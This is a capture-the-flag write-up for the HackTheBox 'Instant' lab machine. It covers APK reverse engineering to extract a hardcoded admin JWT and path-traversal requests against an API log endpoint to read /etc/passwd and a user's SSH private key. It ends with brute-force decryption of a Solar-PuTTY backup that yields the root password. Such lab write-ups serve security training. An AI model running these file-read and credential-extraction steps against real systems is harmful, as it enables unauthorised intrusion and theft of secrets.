Post

HackTheBox Instant

Writeup for HackTheBox Instant

HackTheBox Instant

Machine Synopsis

Instant is a medium difficulty machine that includes reverse engineering a mobile application, exploiting API endpoints, and cracking encrypted hashes and files. Players will analyze an APK to extract sensitive information and a hardcoded authorization token, then they will exploit an API endpoint vulnerable to Arbitrary File Read. Finally, they will achieve full system compromise by decrypting and analyzing encrypted session data from Solar-PuTTY. (Source)

Key exploitation techniques:

  • Android APK reverse engineering (apktool, smali analysis)
  • Hardcoded JWT token extraction and validation
  • API endpoint exploitation for Arbitrary File Read (LFI)
  • SSH private key extraction and authentication
  • Solar-PuTTY session file decryption

Enumeration

An nmap scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.11.37

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

❯ nmap -p 22,80 -sC -sV 10.10.11.37

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The hostname instant.htb was added to /etc/hosts.

1
echo -e '10.10.11.37\tinstant.htb' | sudo tee -a /etc/hosts

webpage

The http://instant.htb website presented a “Download Now” button, which provided an Android APK file (instant.apk).

APK Reverse Engineering

The instant.apk file was disassembled using apktool to extract its contents and source code.

1
2
3
4
5
❯ apktool d instant.apk
I: Using Apktool 2.7.0-dirty on instant.apk
I: Decoding AndroidManifest.xml with resources...
I: Baksmaling classes.dex...
# ... (truncated output)

Analysis of the disassembled application’s files revealed critical information:

  • res/xml/network_security_config.xml: Contained two subdomains used by the application.

    1
    2
    3
    4
    5
    6
    7
    
    ❯ cat instant/res/xml/network_security_config.xml
    <network-security-config>
        <domain-config cleartextTrafficPermitted="true">
            <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
            <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
        </domain-config>
    </network-security-config>
    

    The subdomains mywalletv1.instant.htb and swagger-ui.instant.htb were added to /etc/hosts.

  • smali/com/instantlabs/instant/AdminActivities.smali: A hardcoded JWT token was discovered within this Smali code.

    1
    2
    3
    4
    5
    6
    
     cat instant/smali/com/instantlabs/instant/AdminActivities.smali
    .class public Lcom/instantlabs/instant/AdminActivities;
    ...
      const-string v2, "Authorization"
      const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
    ...
    

    Decoding the JWT string on jwt.io revealed an admin token:

    1
    2
    3
    4
    5
    6
    
    {
      "id": 1,
      "role": "Admin",
      "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
      "exp": 33259303656
    }
    

    This Admin token was collected for API exploitation.

API Endpoint Exploitation

Directory enumeration on the discovered subdomains provided more context. swagger-ui.instant.htb/apidocs/ was identified, suggesting an API documentation interface.

1
2
3
4
5
6
7
8
9
10
❯ dirsearch -u "mywalletv1.instant.htb"
...
[12:07:17] 403 -  287B  - /server-status
[12:07:17] 403 -  287B  - /server-status/

❯ dirsearch -u "swagger-ui.instant.htb"
...
[12:07:02] 308 -  263B  - /apidocs  ->  http://swagger-ui.instant.htb/apidocs/
[12:07:31] 403 -  287B  - /server-status
[12:07:31] 403 -  287B  - /server-status/

The API allowed user registration and login. A test user (shiro:shiro) was registered and logged in to understand the token structure.

Lets check out http://swagger-ui.instant.htb/apidocs/.

apidocs_webpage

Exploitation

Lets try to register as a user using the API.

Parameters required to register a user.

1
2
3
4
5
6
  {
   "email": "string",
   "password": "string",
   "pin": "string",
   "username": "string"
  }

Parameters required to login.

1
2
3
4
  {
   "password": "string",
   "username": "string"
  }
1
2
3
4
5
❯ curl -X POST http://swagger-ui.instant.htb/api/v1/register -H "Content-Type: application/json" -d '{"username": "shiro","email": "shiro@instant.htb","password": "shiro","pin": "12345"}'
{"Description":"User Registered! Login Now!","Status":201}

❯ curl -X POST http://swagger-ui.instant.htb/api/v1/login -H "Content-Type: application/json" -d '{"username": "shiro","password": "shiro"}'
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjJlMzFjZWE3LTVlN2MtNDk5NC1iMWMwLTExMTlmMzYzNTRhZCIsImV4cCI6MTczODkwNjE5MX0.Vomcqv20XIQ85DFDs5ae0sRFJ87Z1UU9VJ-WUboudmQ","Status":201}

The returned token structure was similar to the hardcoded Admin token, confirming its validity for API authentication.

The hardcoded Admin JWT token was then used to access administrative API endpoints. The /api/v1/admin/list/users endpoint confirmed admin privileges and revealed another user, shirohige.

1
2
3
4
5
6
7
8
9
10
❯ curl -X GET http://swagger-ui.instant.htb/api/v1/admin/list/users -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "Status": 200,
  "Users": [
    { "email": "admin@instant.htb", "username": "instantAdmin", ... },
    { "email": "shirohige@instant.htb", "username": "shirohige", ... },
    { "email": "shiro@instant.htb", "username": "shiro", ... }
  ]
}

The /api/v1/admin/view/logs endpoint provided the path to log files: /home/shirohige/logs/.

1
2
3
4
5
6
7
❯ curl -X GET http://swagger-ui.instant.htb/api/v1/admin/view/logs -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "Files": [ "1.log" ],
  "Path": "/home/shirohige/logs/",
  "Status": 201
}

Reading 1.log via /api/v1/admin/read/log?log_file_name=1.log confirmed content could be retrieved.

1
2
3
4
5
6
7
8
9
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "/home/shirohige/logs/1.log": [
    "This is a sample log testing\n"
  ],
  "Status": 201
}

Arbitrary File Read (LFI) via API

The log_file_name parameter was tested for Local File Inclusion (LFI) by attempting to read /etc/passwd using path traversal.

1
2
3
4
5
6
7
8
9
10
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../etc/passwd" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "/home/shirohige/logs/../../../etc/passwd": [
    "root:x:0:0:root:/root:/bin/bash\n",
    # ... (truncated)
    "shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n"
  ],
  "Status": 201
}

LFI was confirmed. The path /home/shirohige/logs/ was the base for path traversal.

The LFI was then used to extract shirohige’s SSH private key from /home/shirohige/.ssh/id_rsa.

1
2
3
4
5
6
7
8
9
10
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "/home/shirohige/logs/../.ssh/id_rsa": [
    "-----BEGIN OPENSSH PRIVATE KEY-----\n",
    # ... (truncated SSH private key)
    "-----END OPENSSH PRIVATE KEY-----\n"
  ],
  "Status": 201
}

The SSH private key for shirohige was retrieved. The raw key text was copied and saved to a file named id_rsa.

SSH Key Formatting:

The jq output includes newlines and extra backslashes (\n). These should be removed, and a single trailing newline added to the end of the key, for ssh client compatibility. dos2unix can also fix line endings.

1
2
3
4
5
6
7
8
chmod 600 id_rsa # Set correct permissions
❯ dos2unix id_rsa # Convert to Unix line endings if needed
dos2unix: converting file id_rsa to Unix format..
❯ ssh shirohige@instant.htb -i id_rsa
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
# ... (banner)
shirohige@instant:~$ cat user.txt
062226d8da4392ab61f87b045f101172

SSH access was gained as shirohige, and the user.txt flag was retrieved.

Privilege Escalation: Solar-PuTTY Decryption

Solar-PuTTY Session File Discovery

In shirohige’s home directory, the path /opt/backups/Solar-PuTTY/ was found, containing sessions-backup.dat.

Back to enumerating as shirohige, we managed to find an interesting file in the /opt directory.

1
2
3
4
5
shirohige@instant:~$ ls -la /opt/backups/Solar-PuTTY/
total 20
drwxr-xr-x 2 root root 4096 Oct 12 00:58 .
drwxr-xr-x 3 root root 4096 Oct 12 00:58 ..
-rwxr-xr-x 1 root root 1100 Oct 12 00:58 sessions-backup.dat

The sessions-backup.dat file was transferred to the attacker machine.

1
❯ scp -i id_rsa shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat ./

The file type indicated ASCII text, but with very long lines, suggesting encrypted or encoded data.

1
2
❯ file sessions-backup.dat
sessions-backup.dat: ASCII text, with very long lines (1100), with no line terminators

Decrypting Solar-PuTTY Sessions

Researching sessions-backup.dat decrypt or Solar-PuTTY decrypt revealed a Python script designed to decrypt these files.

1
❯ wget https://gist.githubusercontent.com/xHacka/052e4b09d893398b04bf8aff5872d0d5/raw/8e76153cd2d115686a66408f6e2deff7d3740ecc/SolarPuttyDecrypt.py

The decryption script was executed with the sessions-backup.dat file and a common wordlist (rockyou.txt) to brute-force the encryption key.

1
2
3
4
❯ python3 SolarPuttyDecrypt.py sessions-backup.dat /usr/share/wordlists/rockyou.txt
[103] password='estrella' # The decryption key/password found

{"Sessions":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"SessionName":"Instant","CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04",...}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}

The script successfully decrypted the file using the password estrella and revealed the root credentials: root / 12**24nzC!r0c%q12.

Root Access

The retrieved root password was used to switch user (su) on the target machine.

1
2
3
4
shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password: 12**24nzC!r0c%q12
root@instant:/opt/backups/Solar-PuTTY# cat /root/root.txt
23d76ee9f157b3a89d703035e6607378

Root access was confirmed, and the root.txt flag was retrieved.

Cleanup

To maintain operational security, any artifacts left on the system should be removed.

1
2
3
4
5
# On target machine as root
root@instant:/# rm /home/shirohige/id_rsa # If the private key was left in shirohige's home
root@instant:/# rm /opt/backups/Solar-PuTTY/sessions-backup.dat # Remove the sensitive backup file
# On attacker machinerm instant.apk id_rsa sessions-backup.dat SolarPuttyDecrypt.py
This post is licensed under CC BY 4.0 by the author.